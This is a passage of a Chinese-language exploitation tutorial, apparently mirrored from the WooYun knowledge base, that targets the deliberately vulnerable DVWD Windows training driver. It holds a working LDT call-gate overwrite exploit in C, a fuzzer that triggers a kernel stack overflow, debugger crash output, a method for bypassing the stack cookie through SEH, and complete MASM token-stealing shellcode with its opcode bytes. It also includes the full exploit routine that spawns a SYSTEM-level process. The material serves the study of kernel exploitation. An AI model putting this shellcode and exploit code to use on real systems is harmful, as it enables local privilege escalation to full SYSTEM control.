// [ 13-bit index into GDT/LDT ][0=descriptor in GDT/1=descriptor in LDT]
// [Requested Privilege Level: 00=ring0/11=ring3]
// => 0007 means: index 0 into GDT (first entry), descriptor in LDT, ring3
VOID FarCall() {
 __asm { 
   _emit 0x9A
   _emit 0x00
   _emit 0x00
   _emit 0x00
   _emit 0x00
   _emit 0x07
   _emit 0x00
 }
}

// Use the vulnerability to overwrite the LDT Descriptor into GDT ------------------
BOOL OverwriteGDTEntry(ULONG64 LDTDesc, PVOID *KGDTEntry) {

 HANDLE hFile;
 ARBITRARY_OVERWRITE_STRUCT overwrite;
 ULONG64 storage = LDTDesc;
 BOOL ret;
 DWORD dwReturn;

 hFile = CreateFile(L"\\\\.\\DVWD", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_WRITE | FILE_SHARE_READ | FILE_SHARE_DELETE, NULL, OPEN_EXISTING, 0, NULL);

 if(hFile != INVALID_HANDLE_VALUE) {
  overwrite.Size = 8;
  overwrite.StorePtr = (PVOID)&storage;
  ret = DeviceIoControl(hFile, DEVICEIO_DVWD_STORE, &overwrite, 0, NULL, 0, &dwReturn, NULL);

  overwrite.Size = 8;
  overwrite.StorePtr = (PVOID)KGDTEntry;
  ret = DeviceIoControl(hFile, DEVICEIO_DVWD_OVERWRITE, &overwrite, 0, NULL, 0, &dwReturn, NULL);

  CloseHandle(hFile);

  return TRUE;
 }

 return FALSE;
}


// Create a new LDT using ZwSetInformationProcess ----------------------------------
BOOL SetLDTEnv(VOID) {

 NTSTATUS retStatus;
 LDT_ENTRY eLdt;
 PROCESS_LDT_INFORMATION infoLdt; 
 _ZwSetInformationProcess ZwSetInformationProcess;

 // Retrieve the address of the undocumented syscall ZwSetInformationProcess()
 ZwSetInformationProcess = (_ZwSetInformationProcess)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "ZwSetInformationProcess");

 if(!ZwSetInformationProcess)
  return FALSE;

 // Create and initialize a new LDT
 RtlZeroMemory(&eLdt, sizeof(LDT_ENTRY));

 RtlCopyMemory(&(infoLdt.LdtEntries[0]), &eLdt, sizeof(LDT_ENTRY));
 infoLdt.Start = 0;
 infoLdt.Length = sizeof(LDT_ENTRY);

 retStatus = ZwSetInformationProcess(GetCurrentProcess(), 
             ProcessLdtInformation, 
             &infoLdt, 
             sizeof(PROCESS_LDT_INFORMATION));

 if(retStatus != STATUS_SUCCESS)
  return FALSE;

 return TRUE;
}


#define LDT_DESC_FROM_KPROCESS 0x20
ULONG64 LDTDescStorage32=0;

// Main function -------------------------------------------------------------------
BOOL LDTDescOverwrite32(VOID) {

 PVOID kprocess,kprocessLDTDesc;
 PLDT_ENTRY pLDTDesc = (PLDT_ENTRY)&LDTDescStorage32;
 PVOID ReturnFromGateArea = NULL;
 PCALL_GATE32 pGate = NULL;

 // User standard SIDList Patch
 FARPROC KernelPayload = (FARPROC)UserShellcodeSIDListPatchCallGate;

 // Retrieve the KPROCESS Address == EPROCESS Address
 kprocess = FindCurrentEPROCESS();
 if(!kprocess)
  return FALSE;

 // Address of LDT Descriptor
 // kd> dt nt!_kprocess
 kprocessLDTDesc = (PBYTE)kprocess + LDT_DESC_FROM_KPROCESS;
 printf("[--] kprocessLDTDesc found at: %p\n", kprocessLDTDesc);

 // Create a new LDT entry
 if(!SetLDTEnv())
  return FALSE;

 // Fixup the Gate Payload (replace 0x41414141 by the address of the kernel payload)
 // and put it into executable memory
 RtlCopyMemory(ReturnFromGate + OFFSET_SHELLCODE, &KernelPayload, sizeof(FARPROC));
 ReturnFromGateArea = CreateUspaceExecMapping(1);
 RtlCopyMemory(ReturnFromGateArea, ReturnFromGate, sizeof(ReturnFromGate));

 // Build the Call-Gate(system descriptor), we pass the address of the shellcode
 pGate = CreateUspaceMapping(1);
 PrepareCallGate32(pGate, (PVOID)ReturnFromGateArea);

 // Build the fake LDT Descriptor with a Call-Gate (the one previously created) 
 PrepareLDTDescriptor32(pLDTDesc, (PVOID)pGate);

 printf("[--] LDT Descriptor fake: 0x%llx\n", LDTDescStorage32);

 // Trigger the vulnerability: overwrite the LdtDescriptor field in KPROCESS
 OverwriteGDTEntry(LDTDescStorage32, kprocessLDTDesc);

 // We force a process context switch
 // Indeed, the LDT segment descriptor into the GDT is updated only after a context 
 // switch. So, it's needed before being able to use the Call-Gate
 Sleep(1000);

 // Trigger the call gate via a FAR CALL (see assembly code)
 FarCall();

 return TRUE;
}


// This is where we begin ... ------------------------------------------------
BOOL TriggerOverwrite32_LDTRemappingWay() {

 // Load the Kernel Executive ntoskrnl.exe in userland and get some symbol's kernel address
 if(LoadAndGetKernelBase() == FALSE)
  return FALSE;

 // We exploit the vulnerability with a payload that patches the SID list to get 
 // SYSTEM privilege and then we spawn a shell if it succeeds
 if(LDTDescOverwrite32() == TRUE) {
  if (CreateChild(_T("C:\\WINDOWS\\SYSTEM32\\CMD.EXE")) != TRUE) {
   wprintf(L"Error: unable to spawn process, Error: %d\n", GetLastError());
   return FALSE;
  }
 }

 return TRUE;
}

7. w00t ?


利用執行結果如下:

enter image description here

再次w00t !!

引用 0x02


(1] GDT and LDT in Windows kernel vulnerability exploitation, by Matthew "j00ru" Jurczyk & Gynvael Coldwind, Hispasec (16 January 2010)

(2] Intel Manual Vol. 3A & 3B http://www.intel.com/products/processor/manuals/

(3] Task State Segment (TSS) http://en.wikipedia.org/wiki/Task_State_Segment

(4] Call-Gate, by Ivanlef0u http://www.ivanlef0u.tuxfamily.org/?p=86

0x04 利用基於棧的緩衝區溢位弱點-(繞過 cookie)


在這篇文章中,當我們把很大的buffer傳遞到驅動(有DEVICEIO_DVWD_STACKOVERFLOW IOCTL)中時,我們將利用驅動中基於棧的緩衝區溢位弱點.主要是我們已得到位於核心態中的buffer且我們可以像在使用者態中那樣溢位它(核心態中的緩衝區溢位概念和使用者態中的溢位概念相同),正如我們在這個系列中的第一篇文章中看到的,使用RtlCopyMemory()函式是一件很糟糕的事.

首先我們將明白在驅動中檢測弱點的方法接著我們將成功利用程式

1. 觸發弱點


為了觸發弱點,我已寫了一小段程式碼:

#!c++
/* IOCTL */
#define DEVICEIO_DVWD_STACKOVERFLOW  CTL_CODE(FILE_DEVICE_UNKNOWN, 0x801, METHOD_NEITHER, FILE_READ_DATA | FILE_WRITE_DATA) 

int main(int argc, char *argv[]) {

 char junk[512];
 HANDLE hDevice;

 printf("--[ Fuzz IOCTL DEVICEIO_DVWD_STACKOVERFLOW ---------------------------\n");

 printf("[~] Building junk data to send to the driver...\n");
 memset(junk, 'A', 511);
 junk[511] = '\0';

 printf("[~] Open an handle to the driver DVWD...\n");
 hDevice = CreateFile("\\\\.\\DVWD", 
    GENERIC_READ | GENERIC_WRITE, 
    FILE_SHARE_WRITE | FILE_SHARE_READ | FILE_SHARE_DELETE, 
    NULL, 
    OPEN_EXISTING, 
    0, 
    NULL);
 printf("\tHandle: %p\n",hDevice);
 getch();

 printf("[~] Send IOCTL DEVICEIO_DVWD_STACKOVERFLOW with junk data...\n");
 DeviceIoControl(hDevice, DEVICEIO_DVWD_STACKOVERFLOW, &junk, strlen(junk), NULL, 0, NULL, NULL);


 CloseHandle(hDevice);
 return 0;
}

程式碼淺顯易懂,它僅傳送512-位元組的垃圾資料(事實上是511個’A’+’\0’).這應該足以溢位驅動使用的buffer了,它才64-位元組長) 好的,讓我們編譯並執行上面的程式碼吧,這是我們得到的結果:

enter image description here

BOUM!一個很棒的BSOD發生了!

現在我們將用於測試的windows VM附加到遠端核心偵錯程式中,那事實上正在另一臺windows VM中執行.所有關於使用VMware搭建的遠端除錯環境的細節已在這篇文章中(1]給出.

我們再次執行程式碼,將buffer傳送到驅動後,windows VM凍結了.

enter image description here

…同時,遠端核心偵錯程式檢測到了”fatal system error”:

#!bash
*** Fatal System Error: 0x000000f7
                       (0xB497BD51,0xF786C6EA,0x08793915,0x00000000)

Break instruction exception - code 80000003 (first chance)

A fatal system error has occurred.
Debugger entered on first try; Bugcheck callbacks have not been invoked.

A fatal system error has occurred.

為了得到更多資訊,我們輸入!analyze –v,接著我們得到結果如下:

#!bash
kd> !analyze -v
*******************************************************************************
*                                                                             *
*                        Bugcheck Analysis                                    *
*                                                                             *
*******************************************************************************

DRIVER_OVERRAN_STACK_BUFFER (f7)
A driver has overrun a stack-based buffer.  This overrun could potentially
allow a malicious user to gain control of this machine.
DESCRIPTION
A driver overran a stack-based buffer (or local variable) in a way that would
have overwritten the function's return address and jumped back to an arbitrary
address when the function returned.  This is the classic "buffer overrun"
hacking attack and the system has been brought down to prevent a malicious user
from gaining complete control of it.
Do a kb to get a stack backtrace -- the last routine on the stack before the
buffer overrun handlers and bugcheck call is the one that overran its local
variable(s).
Arguments:
Arg1: b497bd51, Actual security check cookie from the stack
Arg2: f786c6ea, Expected security check cookie
Arg3: 08793915, Complement of the expected security check cookie
Arg4: 00000000, zero

Debugging Details:
------------------


DEFAULT_BUCKET_ID:  GS_FALSE_POSITIVE_MISSING_GSFRAME

SECURITY_COOKIE:  Expected f786c6ea found b497bd51

BUGCHECK_STR:  0xF7

PROCESS_NAME:  fuzzIOCTL.EXE

CURRENT_IRQL:  0

LAST_CONTROL_TRANSFER:  from 80825b5b to 8086cf70

STACK_TEXT:
f5d6f770 80825b5b 00000003 b497bd51 00000000 nt!RtlpBreakWithStatusInstruction
f5d6f7bc 80826a4f 00000003 000001ff 0012fcdc nt!KiBugCheckDebugBreak+0x19
f5d6fb54 80826de7 000000f7 b497bd51 f786c6ea nt!KeBugCheck2+0x5d1
f5d6fb74 f7858662 000000f7 b497bd51 f786c6ea nt!KeBugCheckEx+0x1b
WARNING: Stack unwind information not available. Following frames may be wrong.
f5d6fb94 f7858316 f785808c 02503afa 82499078 DVWDDriver!DvwdHandleIoctlStackOverflow+0x5ce
f5d6fc10 41414141 41414141 41414141 41414141 DVWDDriver!DvwdHandleIoctlStackOverflow+0x282
f5d6fc14 41414141 41414141 41414141 41414141 0x41414141
f5d6fc18 41414141 41414141 41414141 41414141 0x41414141
[...]
f5d6fd20 41414141 41414141 41414141 41414141 0x41414141
f5d6fd24 41414141 41414141 41414141 41414141 0x41414141


STACK_COMMAND:  kb

FOLLOWUP_IP:
DVWDDriver!DvwdHandleIoctlStackOverflow+5ce
f7858662 cc              int     3

SYMBOL_STACK_INDEX:  4

SYMBOL_NAME:  DVWDDriver!DvwdHandleIoctlStackOverflow+5ce

FOLLOWUP_NAME:  MachineOwner

MODULE_NAME: DVWDDriver

IMAGE_NAME:  DVWDDriver.sys

DEBUG_FLR_IMAGE_TIMESTAMP:  4e08f4d5

FAILURE_BUCKET_ID:  0xF7_MISSING_GSFRAME_DVWDDriver!DvwdHandleIoctlStackOverflow+5ce
BUCKET_ID:  0xF7_MISSING_GSFRAME_DVWDDriver!DvwdHandleIoctlStackOverflow+5ce

所以這是核心棧已被溢位的證明.我們可以看到在崩掉棧時,我們所有的’A’(0x41)在棧轉儲中.但意識到重要的錯誤資訊是: DRIVER_OVERRAN_STACK_BUFFER (f7)那意味著透過核心可以直接檢測到棧溢位.這個錯誤可以確認為使用了一種機制Stack-Cookie-也被稱為Stack-Canary-用於避開棧溢位…. 原理和使用者態中的一樣(在MS Visual Studio的連結器中使用有用的/GS標誌).通常,一個安全cookie(偽隨機4-位元組值)被放在棧上(位於ebp的值和區域性變數之間),因此我們想要達到目的且為了溢位儲存在EIP中的值,我們不得不溢位該值.當然,在這個函式的末尾,檢查安全cookie值而不顧原來的值(預期值).如果它們不匹配,那麼我們在被觸發之前將會出現fatal error.

2. Stack-Canary ?


如果我們反彙編弱點函式,我們將看到如下:

enter image description here

在函式的末尾 有個__SEH_prolog4_GS呼叫:這是一個函式,它被用於:

• 建立對應於寫入了__try{}__except{}函式的異常控制程式碼塊(EXCEPTION_REGISTRATION_RECORD) • 建立Stack-Canary

enter image description here

無論如何,在函式的末尾中,我們可以看到一個__SEH_epilog4_GS的呼叫;這是一個函式(檢索當前Stack-Canary的值)並呼叫__security_check_cookie()函式.這末尾函式目的是用Stack-Canary的預期值與當前值進行比較.這個預期值(symbol: __security_cookie)將被儲存進.data段中.如果值不匹配,會像上次測試那樣崩掉系統(BSOD).

enter image description here

3.核心態中繞過Stack-Canary的方法


要繞過Stack-Canary,目標是在檢查cookie之前(在呼叫 __security_check_cookie() 函式之前)觸發異常.所以,想法是生成記憶體故障異常(由於訪問了在使用者態中的一塊未被對映的區域,而不是在核心態中).為了實現該想法,我們將使用CreateFileMapping()和MapViewOfFileEx()API呼叫構造一塊被對映的記憶體區域(匿名對映)(閱讀(1])然後用shellcode的地址(稍後將會編寫)填充該區域.

在傳送一個DEVICEIO_DVWD_STACKOVERFLOW IOCTL時,重點理解我們如何將使用者態的buffer指標,及它的大小傳遞到驅動.技巧是用此方式(buffer的末端放置在接下來未被對映的頁中)調整buffer指標,這足以將buffer僅有的最後四位元組放置在匿名對映範圍外.DVWDDriver的作者的書中用這幅圖相當好地闡明這一點:

enter image description here

透過這樣做,當驅動要讀取buffer(用於複製)時,它將終止試圖讀取在使用者態未被對映的記憶體區域.所以將會觸發異常,在核心態將可能使用SEH利用繞過Stack-Canary.

4. Shellcoding


為了我的測試,我決定不再使用DVWDExploit中給出的相同的shellcode了.除了把SID patch掉利用程式的訪問令牌外,我想用另一種提權方法:竊取SID == NT AUTHORITY\SYSTEM SID程式的訪問令牌,並用竊取的SID覆蓋掉利用程式的訪問令牌 我沒有為編寫shellcode而重造輪子,我僅是從papers(2]和(3]引用了兩段不錯的shellcode. 演算法如下所示:

  1. _KPRCB中找到對應當前執行緒的 _KTHREAD結構體.
  2. _KTHREAD中找到對應當前程式的_EPROCESS結構體,
  3. 在_EPROCESS查詢帶有PID=4的程式(uniqueProcessId=4);該"System"程式SID== NT AUTHORITY\SYSTEM SID
  4. 檢索那程式的令牌地址
  5. 對應我們想要提權的程式中找到_EPROCESS.
  6. 用”System”程式的令牌替換程式的Token.
  7. 使用SYSEXIT指令返回到使用者態中.在呼叫SYSEXIT之前,正如在(2]中解釋的那樣調整暫存器.為了直接跳轉到使用者態中的payload那將用完全特權執行.

首先找到在Windows Server 2003 SP2中核心結構體的偏移.為了達到目的,我們將使用kd進行深入瞭解那些結構體

#!c++
kd> r
eax=00000001 ebx=000063a3 ecx=80896d4c edx=000002f8 esi=00000000 edi=ed8fcfa8
eip=8086cf70 esp=80894560 ebp=80894570 iopl=0         nv up ei pl nz na po nc
cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00000202

kd> dg @fs
                                  P Si Gr Pr Lo
Sel    Base     Limit     Type    l ze an es ng Flags
---- -------- -------- ---------- - -- -- -- -- --------
0030 ffdff000 00001fff Data RW    0 Bg Pg P  Nl 00000c92

kd> dt nt!_kpcr ffdff000
   [...]
   +0x120 PrcbData         : _KPRCB

kd> dt nt!_kprcb ffdff000+0x120
   +0x000 MinorVersion     : 1
   +0x002 MajorVersion     : 1
   +0x004 CurrentThread    : 0x80896e40 _KTHREAD
   +0x008 NextThread       : (null)
   +0x00c IdleThread       : 0x80896e40 _KTHREAD
   [...]


kd> dt nt!_kthread 0x80896e40
   +0x000 Header           : _DISPATCHER_HEADER
   +0x010 MutantListHead   : _LIST_ENTRY [ 0x80896e50 - 0x80896e50 ]
   +0x018 InitialStack     : 0x808948b0 Void
   +0x01c StackLimit       : 0x808918b0 Void
   +0x020 KernelStack      : 0x808945fc Void
   +0x024 ThreadLock       : 0
   +0x028 ApcState         : _KAPC_STATE
   +0x028 ApcStateFill     : [23]  "hn???"
   +0x03f ApcQueueable     : 0x1 ''
   [...]


kd> dt nt!_kapc_state 0x80896e40+0x28
   +0x000 ApcListHead      : [2] _LIST_ENTRY [ 0x80896e68 - 0x80896e68 ]
   +0x010 Process          : 0x808970c0 _KPROCESS
   +0x014 KernelApcInProgress : 0 ''
   +0x015 KernelApcPending : 0 ''
   +0x016 UserApcPending   : 0 ''

kd> dt nt!_eprocess 0x808970c0
   +0x000 Pcb              : _KPROCESS
   +0x078 ProcessLock      : _EX_PUSH_LOCK
   +0x080 CreateTime       : _LARGE_INTEGER 0x0
   +0x088 ExitTime         : _LARGE_INTEGER 0x0
   +0x090 RundownProtect   : _EX_RUNDOWN_REF
   +0x094 UniqueProcessId  : (null)
   +0x098 ActiveProcessLinks : _LIST_ENTRY [ 0x0 - 0x0 ]
   +0x0a0 QuotaUsage       : [3] 0
   +0x0ac QuotaPeak        : [3] 0
   +0x0b8 CommitCharge     : 0
   +0x0bc PeakVirtualSize  : 0
   +0x0c0 VirtualSize      : 0
   +0x0c4 SessionProcessLinks : _LIST_ENTRY [ 0x0 - 0x0 ]
   +0x0cc DebugPort        : (null)
   +0x0d0 ExceptionPort    : (null)
   +0x0d4 ObjectTable      : 0xe1000c60 _HANDLE_TABLE
   +0x0d8 Token            : _EX_FAST_REF
   +0x0dc WorkingSetPage   : 0x17f40
   [...]

kd> dt nt!_list_entry
   +0x000 Flink            : Ptr32 _LIST_ENTRY
   +0x004 Blink            : Ptr32 _LIST_ENTRY

kd> dt nt!_token -r1 @@(0xe1001727 & ~7)
   +0x000 TokenSource      : _TOKEN_SOURCE
      +0x000 SourceName       : [8]  "*SYSTEM*"
      +0x008 SourceIdentifier : _LUID
   +0x010 TokenId          : _LUID
      +0x000 LowPart          : 0x3ea
      +0x004 HighPart         : 0n0
   +0x018 AuthenticationId : _LUID
      +0x000 LowPart          : 0x3e7
      +0x004 HighPart         : 0n0
   +0x020 ParentTokenId    : _LUID
      +0x000 LowPart          : 0
      +0x004 HighPart         : 0n0
   +0x028 ExpirationTime   : _LARGE_INTEGER 0x6207526`b64ceb90
      +0x000 LowPart          : 0xb64ceb90
      +0x004 HighPart         : 0n102790438
      +0x000 u                : __unnamed
      +0x000 QuadPart         : 0n441481572610010000
   [...]

從這:我們可以推算出偏移(幫助你在Windows Server 2003 SP2 上編寫shellcode)

• _KTHREAD:定位於fs:[0x124](在 FS段描述符指向 _KPCR的位置) • _EPROCESS: 從_KTHREAD開始到0x38 • 一個雙連結串列,它連結所有_EPROCESS結構(所有程式中).被定位於從_EPROCESS開始到0x98偏移範圍.在該雙連結串列內,它也對應下一元素(Flink)的指標. • _EPROCESS.UniqueProcessId: 它是相應程式的PID.從_EPROCESS開始定位於0x94偏移上 • _EPROCESS.Token: 該結構體含有訪問令牌.在_EPROCESS中的偏移是0xD8.(必須用8調整)

#!c++
.486
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
includelib \masm32\lib\kernel32.lib
assume fs:nothing

.code

shellcode:

; ----------------------------------------------------------------------
;                  Shellcode for Windows Server 2k3
; ----------------------------------------------------------------------

; Offsets
WIN2K3_KTHREAD_OFFSET   equ 124h    ; nt!_KPCR.PcrbData.CurrentThread
WIN2K3_EPROCESS_OFFSET  equ 038h    ; nt!_KTHREAD.ApcState.Process
WIN2K3_FLINK_OFFSET     equ 098h    ; nt!_EPROCESS.ActiveProcessLinks.Flink
WIN2K3_PID_OFFSET       equ 094h    ; nt!_EPROCESS.UniqueProcessId
WIN2K3_TOKEN_OFFSET     equ 0d8h    ; nt!_EPROCESS.Token
WIN2K3_SYS_PID          equ 04h     ; PID Process SYSTEM


pushad                                ; save registers

mov eax, fs:[WIN2K3_KTHREAD_OFFSET]   ; EAX <- current _KTHREAD
mov eax, [eax+WIN2K3_EPROCESS_OFFSET] ; EAX <- current _KPROCESS == _EPROCESS
push eax


mov ebx, WIN2K3_SYS_PID

SearchProcessPidSystem:

mov eax, [eax+WIN2K3_FLINK_OFFSET]    ; EAX <- _EPROCESS.ActiveProcessLinks.Flink
sub eax, WIN2K3_FLINK_OFFSET          ; EAX <- _EPROCESS of the next process
cmp [eax+WIN2K3_PID_OFFSET], ebx      ; UniqueProcessId == SYSTEM PID ?
jne SearchProcessPidSystem            ; if no, retry with the next process...

mov edi, [eax+WIN2K3_TOKEN_OFFSET]    ; EDI <- Token of process with SYSTEM PID
and edi, 0fffffff8h                   ; Must be aligned by 8

pop eax                               ; EAX <- current _EPROCESS 


mov ebx, 41414141h

SearchProcessPidToEscalate:

mov eax, [eax+WIN2K3_FLINK_OFFSET]    ; EAX <- _EPROCESS.ActiveProcessLinks.Flink
sub eax, WIN2K3_FLINK_OFFSET          ; EAX <- _EPROCESS of the next process
cmp [eax+WIN2K3_PID_OFFSET], ebx      ; UniqueProcessId == PID of the process 
                                      ; to escalate ?
jne SearchProcessPidToEscalate        ; if no, retry with the next process...

SwapTokens:

mov [eax+WIN2K3_TOKEN_OFFSET], edi    ; We replace the token of the process 
                                      ; to escalate by the token of the process
                                      ; with SYSTEM PID

PartyIsOver:

popad                                 ; restore registers
mov edx, 11111111h                    ; EIP value after SYSEXIT
mov ecx, 22222222h                    ; ESP value after SYSEXIT
mov eax, 3Bh                          ; FS value in userland (points to _TEB)
db 8Eh, 0E0h                          ; mov fs, ax
db 0Fh, 35h                           ; SYSEXIT

end shellcode
我們用MASM彙編這段彙編程式碼並索引操作碼的對應序列(Tools > Load Binary File as Hex)我們得到:
00000200 :60 64 A1 24 01 00 00 8B - 40 38 50 BB 04 00 00 00
00000210 :8B 80 98 00 00 00 2D 98 - 00 00 00 39 98 94 00 00
00000220 :00 75 ED 8B B8 D8 00 00 - 00 83 E7 F8 58 BB 41 41
00000230 :41 41 8B 80 98 00 00 00 - 2D 98 00 00 00 39 98 94
00000240 :00 00 00 75 ED 89 B8 D8 - 00 00 00 61 BA 11 11 11
00000250 :11 B9 22 22 22 22 B8 3B - 00 00 00 8E E0 0F 35 00

當然,在使用這段shellcode前,需要替換程式的PID來提升特權,在SYSEXIT後分別使用EIP和ESP值,在傳送buffer前我們將用程式碼實現它.

5. 利用方法論


利用的過程如下:

  1. 建立一塊可執行的記憶體區域並將上一段shellcode(用於交換令牌)放入區域中。
  2. 類似地,建立一塊可執行的記憶體區域並將shellcode(在提權之後執行)放入其中。
  3. 更新第一段shellcode:提升程式的PID,在SYSEXIT後使用EIP,在SYSEXIT後使用ESP.(4]中採用了此方法.
  4. 為我們的buffer構造一塊匿名對映區域
  5. 用第一段shellcode的地址填充這塊對映區域
  6. 用此方式(最後4位元組位於一塊未被對映的記憶體區域)調節buffer指標
  7. 將buffer傳送到驅動(用the DEVICEIO_DVWD_STACKOVERFLOW IOCTL).

6.利用程式碼


這是利用程式的主函式.鑑於上一個利用程式,它應該相當易懂:

#!c++
VOID TriggerOverflow32(VOID) {

 HANDLE hFile;
 DWORD dwReturn;
 UCHAR* map;
 UCHAR *uBuff = NULL;
 BOOL ret;
 ULONG_PTR pShellcode;

 // Load the Kernel Executive ntoskrnl.exe in userland and get some 
 // symbol's kernel address
 if(LoadAndGetKernelBase() == FALSE)
  return;


 // Put the shellcodes in executable memory
 mapShellcodeSwapTokens = (UCHAR *)CreateUspaceExecMapping(1);
 mapShellcodePayload    = (UCHAR *)CreateUspaceExecMapping(1);

 memset(mapShellcodeSwapTokens, '\x00', GlobalInfo.dwAllocationGranularity);
 memset(mapShellcodePayload, '\x00', GlobalInfo.dwAllocationGranularity);

 RtlCopyMemory(mapShellcodeSwapTokens, ShellcodeSwapTokens, sizeof(ShellcodeSwapTokens));
 RtlCopyMemory(mapShellcodePayload, ShellcodePayload, sizeof(ShellcodePayload));


 // Added
 printf("[~] Update Shellcode with PID of the process...\n");
 if(!MajShellcodePid(L"DVWDExploit.exe")) {
  printf("[!] An error occured, exitting...\n");
  return;
 }

 printf("[~] Update Shellcode with EIP to use after SYSEXIT...\n");
 if(!MajShellcodeEip()) {
  printf("[!] An error occured, exitting...\n");
  return;
 }

 printf("[~] Update Shellcode with ESP to use after SYSEXIT...\n");
 if(!MajShellcodeEsp()) {
  printf("[!] An error occured, exitting...\n");
  return;
 }

 printf("[~] Retrieve the address of the shellcode and build the buffer...\n");

 // Create an anonymous map
 map = (UCHAR *)CreateUspaceMapping(1);
 // Retrieve the address of the shellcode
 pShellcode = (ULONG_PTR)mapShellcodeSwapTokens;

 // We fill the map with the address of our shellcode (the address is repeated)
 FillMap(map, pShellcode, GlobalInfo.dwAllocationGranularity);

 // We adjust the pointer to the buffer (size = BUFF_SIZE) in such a way that the 
 // last 4 bytes are in an unmapped memory area
 uBuff = map + GlobalInfo.dwAllocationGranularity - (BUFF_SIZE-sizeof(ULONG_PTR));

 // Now, we send our buffer to the driver and trigger the overflow
 hFile = CreateFile(_T("\\\\.\\DVWD"), GENERIC_READ | GENERIC_WRITE, FILE_SHARE_WRITE | FILE_SHARE_READ | FILE_SHARE_DELETE, NULL, OPEN_EXISTING, 0, NULL);
 deviceHandle = hFile;

 if(hFile != INVALID_HANDLE_VALUE)
  ret = DeviceIoControl(hFile, DEVICEIO_DVWD_STACKOVERFLOW, uBuff, BUFF_SIZE, NULL, 0, &dwReturn, NULL);

 // If you get here the vulnerability has not been triggered ...
 printf("[!] Stack overflow has not been triggered, maybe the driver has not been loaded ?\n");
 return;
}

7.你機器上的一切都屬於我們


為了測試,我已放置了從Metasploit中獲取(帶有計算器calc.exe shellcode)的payload.然而我們可以做其他任何事。。。。

enter image description here

我們的calc.exe帶有NT AUTHORITY\SYSTEM 特權,因此這意味著許可權成功提升且payload被成功執行

引用

(1] CreateFileMapping() function http://msdn.microsoft.com/en-us/library/aa366537(v=vs.85).aspx

(2] MapViewOfFileEx() function http://msdn.microsoft.com/en-us/library/aa366763(v=VS.85).aspx

(3] Remote Debugging using VMWare http://www.catch22.net/tuts/vmware

(4] Local Stack Overflow in Windows Kernel, by Heurs http://www.ghostsinthestack.org/article-29-local-stack-overflow-in-windows-kernel.html

(5] Exploiting Windows Device Drivers, by Piotr Bania http://pb.specialised.info/all/articles/ewdd.pdf

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章